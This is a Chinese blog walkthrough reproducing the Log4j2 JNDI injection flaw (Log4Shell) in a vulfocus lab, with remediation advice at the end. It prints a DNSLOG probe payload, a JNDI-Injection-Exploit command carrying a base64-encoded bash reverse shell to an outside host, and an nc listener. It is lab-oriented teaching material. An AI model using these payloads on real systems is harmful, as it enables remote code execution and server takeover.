您的位置:首页 > 运维架构 > Apache

Apache log4j2 远程代码执行漏洞复现-后续利用👻

2021-12-14 13:08 1011 查看

Apache log4j2 远程代码执行漏洞复现👻

最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,复现一下看看。

漏洞原理:

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞详情:

Apache Log4j 远程代码执行漏洞 严重程度: 严重由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

环境搭建

环境地址:http://vulfocus.fofa.so/#/dashboard 找到了一个docker环境,vulfocus上面可以直接拉取Apache log4j2的环境复现

  1. 安装docker
  2. 安装vulfocus
  3. 直接拉去log4j2环境镜像启动就行

前两步安装docker以及安装vulfocus可以参考如下链接: https://blog.csdn.net/m0_50406447/article/details/119169686

漏洞复现(DNSLOG)

启动环境之后打开IP得到如下页面:

访问如下URL地址:http://vulfocus.fofa.so:43133/hello 然后通过POST传入如下payload验证dns访问: payload:

payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

我们发现成功回显结果,说明执行成功。

漏洞复现(反弹shell)

我这次实验是公网上面搭建的靶场,所以反弹shell用的自己的公网vps,请自行配备一个公网的vps即可(或者自己本地搭建靶场,在本地反弹shell也可!):下面实验开始

  1. 搭建靶场,步骤按上面搭建好的。
  2. 下载一个jar包用来搭建ldap服务器和http服务器 下载地址:链接:https://pan.baidu.com/s/1XGXspiK9KuOU3kk_GRXb4w 提取码:zrvu

下载之后运行这个jar包,执行以下命令开启

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "1.2.3.4"

说明:上面的base64就是一个反弹shell的代码,换成自己的ip和监听端口,重新生成base64放进即可,还有后面-A的也换成自己的监听ip

我的监听ip是101.42.xx.xx:9999,按自己情况修改

执行命令之后,启动了服务,终端会显示5个payload,按自己的java版本选择对应的payload去执行即可,这里我选的第5个payload:rmi://101.42.xx.xx:1099/vgylii

然后我们在开启一个终端,监听刚刚设置的端口9999

nc -lvnp 9999

然后去靶场执行上面生成的payload,等会反弹shell连接。

执行成功会出现ok,然后看看我们刚刚监听的端口已经连接上了反弹shell

至于执行其他什么命令自己base64编码执行即可!👻好了,这个实验就结束啦。

漏洞修复方案:

Apache官方已发布补丁,腾讯安全专家建议受影响的用户尽快升级到安全版本。

补丁下载地址:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

漏洞缓解措施:

(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)log4j2.formatMsgNoLookups=True

下面贴上细节分析的链接: https://bbs.ichunqiu.com/thread-62322-1-1.html https://www.oschina.net/news/172999

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: